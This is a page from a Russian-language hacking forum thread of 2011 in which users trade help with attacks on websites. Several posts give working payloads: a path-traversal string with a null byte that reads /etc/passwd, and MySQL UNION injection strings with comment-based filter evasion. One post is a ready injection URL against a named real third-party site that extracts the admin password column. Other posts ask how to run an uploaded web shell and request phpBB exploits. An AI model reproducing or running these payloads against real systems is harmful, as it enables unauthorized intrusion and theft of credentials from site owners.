HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1654 из 2438 « Первая < 6541154155416041644 1650 1651 1652 1653 1654 1655 1656 1657 1658 1664170417542154 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #16531  
Старый 08.03.2011, 16:26
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944

Репутация: 37
Отправить сообщение для ZARO с помощью ICQ
По умолчанию
Цитата:
Сообщение от FlaktW  
FlaktW said:
Так как написано в этой статье вывести, не получается.
Сейчас попробую вывести через ошибку.
Через ошибку в данной скули вывести не получится... Т.к. тут при неверном запросе просто показывает SQL запрос, который пошел в базу. А саму ошибку не показывает.
 
Ответить с цитированием

  #16532  
Старый 08.03.2011, 17:14
Tazk2
Guest
Сообщений: n/a
Провел на форуме:
706

Репутация: 0
По умолчанию
пацаны это инклюд?

Fatal error: require() [function.require]: Failed opening required 'articles/../../../../../../../../../etc/php.ini/text.htm' (include_path='.:/usr/local/share/pear') in /pub/home/teplotex/htdocs/fedorov/warlib/index.php on line 115
 
Ответить с цитированием

  #16533  
Старый 08.03.2011, 17:26
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944

Репутация: 37
Отправить сообщение для ZARO с помощью ICQ
По умолчанию
Цитата:
Сообщение от Tazk2  
Tazk2 said:
пацаны это инклюд?
Fatal error: require() [function.require]: Failed opening required 'articles/../../../../../../../../../etc/php.ini/text.htm' (include_path='.:/usr/local/share/pear') in /pub/home/teplotex/htdocs/fedorov/warlib/index.php on line 115
Да, попробуй так ../../../../../../../../../../../../../etc/passwd%00
 
Ответить с цитированием

  #16534  
Старый 08.03.2011, 21:10
boortyhuhtyu
Guest
Сообщений: n/a
Провел на форуме:
225312

Репутация: -6
По умолчанию
,...

Цитата:
Сообщение от None  
Взято с HackZone.RU - Больше про XSS
 
Ответить с цитированием

  #16535  
Старый 08.03.2011, 21:57
o'clock
Новичок
Регистрация: 16.05.2009
Сообщений: 12
Провел на форуме:
135091

Репутация: 2
По умолчанию
[QUOTE="boortyhuhtyu"]
boortyhuhtyu said:
 
Ответить с цитированием

  #16536  
Старый 09.03.2011, 00:19
asql
Guest
Сообщений: n/a
Провел на форуме:
8829

Репутация: -3
По умолчанию
Не могу разобратся. Значит запрос к базе такой

$dbb=mysql_query("select * from zas where id='{$_GET['id']}'");

$dbb=mysql_fetch_array($dbb);

получаетса id это int, и при запросе

http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,2,3/*'

выводитса 2...

но если делаю запрос

http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,user(),3/*'

то выдает Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in Z:\home\test1.ru\www\index.php on line ...

как правильно сделать?
 
Ответить с цитированием

  #16537  
Старый 09.03.2011, 10:13
Unknown
Guest
Сообщений: n/a
Провел на форуме:
191387

Репутация: 6
По умолчанию
Цитата:
Сообщение от asql  
asql said:
Не могу разобратся. Значит запрос к базе такой
как правильно сделать?
попробуй

http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,unhex(hex(user())),3/*'

http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,/*!user()*/,3/*'

Загружаю шелл в профайл админа cms Phorum, оказывается записывает файл в бд, как сделать исполнение кода? (http://127.0.0.1/file.php?0,file=1,filename=shell.php)
 
Ответить с цитированием

  #16538  
Старый 09.03.2011, 11:11
asql
Guest
Сообщений: n/a
Провел на форуме:
8829

Репутация: -3
По умолчанию
Цитата:
Сообщение от None  
попробуй
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,unhex(hex(user())),3/*'
помогло...

Возможно ли вскрыть такое?)

http://www.luman.lg.ua/content.php?type=about_0400'
 
Ответить с цитированием

  #16539  
Старый 09.03.2011, 12:02
Unknown
Guest
Сообщений: n/a
Провел на форуме:
191387

Репутация: 6
По умолчанию
Цитата:
Сообщение от asql  
asql said:
помогло...
Возможно ли вскрыть такое?)
http://www.luman.lg.ua/content.php?type=about_0400'
http://www.luman.lg.ua/strelby.php?title=%CF%F3%EB%E8+%22%CB%FE%EC%E0%ED% 22+FT-0%2C68&id=70+and+1=0+union+select+1,2,3,4,5,6,7,8, pass+from+adm_user

пробелы необходимо убрать
 
Ответить с цитированием

  #16540  
Старый 09.03.2011, 15:43
DieWithMe
Guest
Сообщений: n/a
Провел на форуме:
1822

Репутация: 0
По умолчанию
Подкиньте уязвимостей по phpbb 3.0.2...

Из тех что есть в этой темке большинство подразумевает наличие уязвимых модов либо права админа... У меня нет возможности даже зарегистрироваться(регист ация там только по подтверждению админом), а из модов, насколько я понял, только некие arcade и tosviolation.
 
Ответить с цитированием
Ответ
Страница 1654 из 2438 « Первая < 6541154155416041644 1650 1651 1652 1653 1654 1655 1656 1657 1658 1664170417542154 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ